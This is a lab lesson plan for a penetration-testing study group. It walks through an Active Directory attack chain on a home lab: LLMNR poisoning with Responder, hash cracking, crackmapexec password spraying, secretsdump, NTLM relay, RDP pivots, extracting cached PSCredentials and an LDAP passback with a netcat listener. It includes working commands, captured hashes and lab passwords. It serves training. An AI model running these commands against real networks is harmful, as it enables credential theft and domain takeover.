Skip to main content

Lesson Plan

Accompanying Presentation

The PJPT Study Group is hosted by my friend and fellow Discord mod, Shawn Szczepkowski (aka @b33f or @b1gb33f)

This lesson plan was created for a presentation given to the group by me, Ben Heater. You can find the recording of this study session and presentation here: https://www.youtube.com/watch?v=vYA7pQnYRsY

Network Diagram

        10.80.80.0/24
               |
 ______________|_________________________
|                                        |
|                                        |
|       Domain Contoller (10.80.80.2)    |
|           WIN10ENT1 (10.80.80.3)       |
|           WIN10ENT2 (10.80.80.4)       |
|           WIN10ENT3 (10.80.80.6)       |
|           DVWA-AD-LAB (10.80.80.9)     |
|                                        |
|       KALI VM (10.80.80.5)             |
|                                        |
|________________________________________|

All hosts are on the same Local Area Network (LAN),
allowing for some different attack vectors.

Responder LLMNR Poisoning

  • I have simulated user activity on the domain-joined boxes by running infinite loops in user sessions.
  • Use SMB client applications to attempt to map non-existent shares
  • Why does this work?
    • When the host cannot resolve server name using DNS, it will fallback to LLMNR to attempt to resolve the hostname using its NETBIOS name
    • LLMNR sends a broadcast on the Local Area Network, so all hosts on 10.80.80.0/24 receive this broadcast
    • responder is listening on an interface on this network and spoofs being the hostname in question
    • This causes the client to initiate a  NetNTLMv2 authentication to map the SMB share using the spoofed address
  • DVWA-AD-LAB : /usr/bin/smbclient -A /root/creds.txt -L //rootispwned 2>&1 > /dev/null; sleep 15
  • WIN10ENT1:john.doe@ad.lab     : Get-ChildItem \\blah ; Start-Sleep 15
  • WIN10ENT2:testuser123@ad.lab : Get-ChildItem \\blah ; Start-Sleep 15

Start Responder and Play the Waiting Game

sudo responder -I eth0 -dvw

Running responder with the -v flag allows for continuous output of hashes on the console -- even if they've been previously cached in the Responder database.

Save the NetNTLMv2 hashes to list

Spoiler
echo 'root::WORKGROUP:2bff4f8b75d0f2e9:9A1D882CC3686B12365C5AC46A9996E4:01010000000000008071C7022F43DA01D04C77F8FFED953A0000000002000800460043005000420001001E00570049004E002D0059004C00500055004C0038004C004C00330057004E0004003400570049004E002D0059004C00500055004C0038004C004C00330057004E002E0046004300500042002E004C004F00430041004C000300140046004300500042002E004C004F00430041004C000500140046004300500042002E004C004F00430041004C00070008008071C7022F43DA01060004000200000008003000300000000000000000000000000000006E99CACD1146D7BCFEC20D86ABC612B193B30E4F2638D78655194DDF1B5DA1200A001000000000000000000000000000000000000900200063006900660073002F0072006F006F00740069007300700077006E006500640000000000' > hashes
echo 'john.doe::AD:deb4211ec0e7bc41:EC7ED3096299F4354B237267679EA369:01010000000000008071C7022F43DA01D1FEE9D89E4A9D450000000002000800460043005000420001001E00570049004E002D0059004C00500055004C0038004C004C00330057004E0004003400570049004E002D0059004C00500055004C0038004C004C00330057004E002E0046004300500042002E004C004F00430041004C000300140046004300500042002E004C004F00430041004C000500140046004300500042002E004C004F00430041004C00070008008071C7022F43DA01060004000200000008003000300000000000000000000000002000004B5264A05B6DDCE52F81A1353339658B0C007F038B919844880D7D147966EC210A001000000000000000000000000000000000000900240063006900660073002F006A006F0068006E007300730065006300720065007400700063000000000000000000' >> hashes
echo 'testuser123::AD:c00f55047b99727c:DA9353B61F471136DFF4A671641EE98F:01010000000000008071C7022F43DA019819BAE5A6E81D000000000002000800460043005000420001001E00570049004E002D0059004C00500055004C0038004C004C00330057004E0004003400570049004E002D0059004C00500055004C0038004C004C00330057004E002E0046004300500042002E004C004F00430041004C000300140046004300500042002E004C004F00430041004C000500140046004300500042002E004C004F00430041004C00070008008071C7022F43DA0106000400020000000800300030000000000000000100000000200000976892EDE16367DDE95317C8BC4E8AF5CADC464850014197515074DBC5D0FCD00A001000000000000000000000000000000000000900300063006900660073002F00690077006F006E00640065007200690066007400680069007300690073007200650061006C000000000000000000' >> hashes

Brief detour to inspect PCAP

  • Ran Wireshark on WIN10ENT1 (10.80.80.3)
    • Ran ipconfig /flushdns prior to Wireshark capture just to be sure there are no cached DNS responses
    • User john.doe@ad.lab is requesting a share from \\johnspc
  • The breakdown of the process is:
    1. 10.80.80.3 asks DNS server 10.80.80.2 what the IP address for johnspc.ad.lab is, as requesting \\johnspc automatically appends the local DNS suffix to the hostname
    2. 10.80.80.2 replies No such name indicating the hostname does not exist in the DNS records
    3. Send a multicast DNS broadcast to perform a name lookup using LLMNR
      • fe80::53d4:c100:1a21:44ac → ff02::1:3 the link-local IPv6 address for WIN10ENT1 sends a multicast DNS LLMNR request to attempt to resolve the hostname johnspc
      • 10.80.80.3 → 224.0.0.252 also sends an IPv4 multicast DNS lookup for johnspc
    4. Kali (10.80.80.5) responds with a poisoned mDNS response on both IPv4 and IPv6
      • fe80::17a7:ffc9:bab0:61aa → fe80::53d4:c100:1a21:44ac LLMNR 110 Standard query response 0x9663 A johnspc A 10.80.80.5
      • 10.80.80.5 → 10.80.80.3   LLMNR 90 Standard query response 0x9663 A johnspc A 10.80.80.5
    5. Which causes WIN10ENT1 (10.80.80.3) to begin a SMB session over IPv6 with Kali
      • 19   0.004453 fe80::53d4:c100:1a21:44ac → fe80::17a7:ffc9:bab0:61aa SMB 147 Negotiate Protocol Request

The key takeaway here is that multicast DNS broadcast using LLMNR. Because the broadcast goes out on the Local Area Network (LAN) -- 10.80.80.0/24 -- and because Kali is also on the LAN, Responder receives the LLMNR broadcast and spoofs the hostname as though it exists.

Attempt to crack the hashes

john --wordlist=password_list.txt hashes

Save the cleartext credentials to a username and password list

Spoiler
echo 'john.doe' > usernames.txt
echo 'P@$$word123!' > passwords.txt
echo 'testuser123' >> usernames.txt
echo 'TestUser1!' >> passwords.txt

Spray the credentials using CME

# --no-bruteforce : username => password
# --continue-on-success : test even when valid creds found
crackmapexec smb 10.80.80.0/24 -u usernames.txt -p passwords.txt -d ad.lab --no-bruteforce --continue-on-success

Lateral Pivot to WIN10ENT1

Note: Because this is a planned exercise due to the time limit for this study group session, this doesn't accurately reflect the proper enumeration techniques you'd take to plot your next step. Yes, dumping hashes is one of the things you'd want to try, but you may need to find additional information by browsing around on the target.

testuser123 is admin on this host, dump hashes

impacket-secretsdump 'testuser123:TestUser1!@10.80.80.3'

Bonus: Let's take a look at NTLM relay to achieve the same result

Create a list of targets and store it in a file

echo -e '10.80.80.2\n10.80.80.3\n10.80.80.4\n10.80.80.6' > targets.txt

Edit some Responder settings

sudo nano /etc/responder/Responder.conf

We disable SMB, as this will be hosted by ntlmrelayx to receive the SMB connection and relay it to the target(s).
We disable HTTP, as the web server is also hosted ntlmrelayx with the option of serving a WPAD file.

...
SMB = Off
...
...
HTTP = Off
...

Start Responder to poison LLMNR hostname lookups

sudo responder -I etho -dv

Start Ntlmrelayx to receive NTLM authentication and relay to target(s)

sudo impacket-ntlmrelayx -smb2support -tf targets.txt

One thing to be aware of is that by default, a NTLM authentication request cannot be relayed back to its source
For example, if a user's NTLM authentication from 10.80.80.3 is relayed back to 10.80.80.3, this will not work.

That concludes the bonus NTLM relay section.
Don't forget that we edited Responder.conf, so if you're not relaying, re-enable HTTP and SMB.

localuser is the local administrator on all of the Windows 10 hosts

Spoiler
echo 'localuser:1003:aad3b435b51404eeaad3b435b51404ee:e606ba0be45573509f873c0a6f79e7ec:::' > localuser_hash.txt

Attempt to crack the hash

john --format=NT --wordlist=password_list.txt localuser_hash.txt

Spray the cleartext password

crackmapexec smb 10.80.80.0/24 -u 'localuser' -p 'P@$$word123!' --local-auth

localuser is admin on all of the boxes time to pivot to the next box

xfreerdp /v:10.80.80.4 /u:'localuser' /p:'P@$$word123!' /size:'90%' /drive:.,kali-share +clipboard


Lateral Pivot to WIN10ENT2

Harvesting Credentials

  • Want to simulate the activity of credential harvesting after pivoting
  • I know the script file is right in plain sight, which is done for the sake of time, but the concepts are the same
    • You land on a box and you start having a look around for more ways to pivot or escalate privileges

PSCredential in Cache File

  • C:\Users\localuser\Desktop\New-SmbMapping.ps1
    • Note the reference to $smbCred and a possilbe PSCredential object cached in a .clixml file

Reveal the cleartext credential

Note that this only works, because the .clixml file contains a PSCredential object that was hashed using localuser's password. If you tried to read the PSCredential in this file using another user session, it would not work, as you don't have the key to decrypt it. Although, you may be able to crack it using brute force.

$smbCred = Import-Clixml "$env:UserProfile\smb_cred.clixml
$smbCred.UserName
$smbCred.GetNetworkCredential().Password

Spray the password around

Spoiler
crackmapexec smb 10.80.80.0/24 -u 'joan.hesther' -p 'madison' -d 'ad.lab'

joan.hesther is admin on Win10Ent3, pivot again

Spoiler
xfreerdp /v:10.80.80.6 /u:'ad.lab\joan.hesther' /p:'madison' /size:'90%' /drive:.,kali-share +clipboard

Lateral Pivot to WIN10ENT3

LDAP Passback Attack

Note the presence of the LDAP Admin application shortcut on Joan's desktop

Open the application and check for cached credentials

Tools > Credentials Manager > Duplicate > Edit

  • Note that it connects over TCP/389, so cleartext LDAP
  • We can change the remote host to Kali's IP address

Start a netcat listener

sudo nc -lnvp 389

Change the remote host in the LDAP Admin connector

  • Check to see if Kali has caught the cleartext credential


Pivot to Domain Controller

Congratulations! You own the domain!

Some Things to Consider

  • This was done in my home lab, I know the domain, the users, the passwords
  • You'll be dropped into a domain you know nothing about, it won't be this easy
  • The takeaway from this demo -- however -- is to show you the power of possessing a credential
  • If you spray it around, you may not be an admin on any machine -- let alone the domain controller
    • But, you can always use this credential to check for other access
      • SMB shares
      • Remote desktop
      • Databases
      • Password vaults
      • WinRM
      • Etc.
    • Thus is the importance of doing your nmap scan, seeing what ports are open, and considering your options
    • It's also important to know your tools, and when to use them
      • Don't be Mr. or Mrs. Ten-Million-Tools, slinging them this way and that way when one doesn't work
      • Be a precision operator and know when you might use certain tools with certain options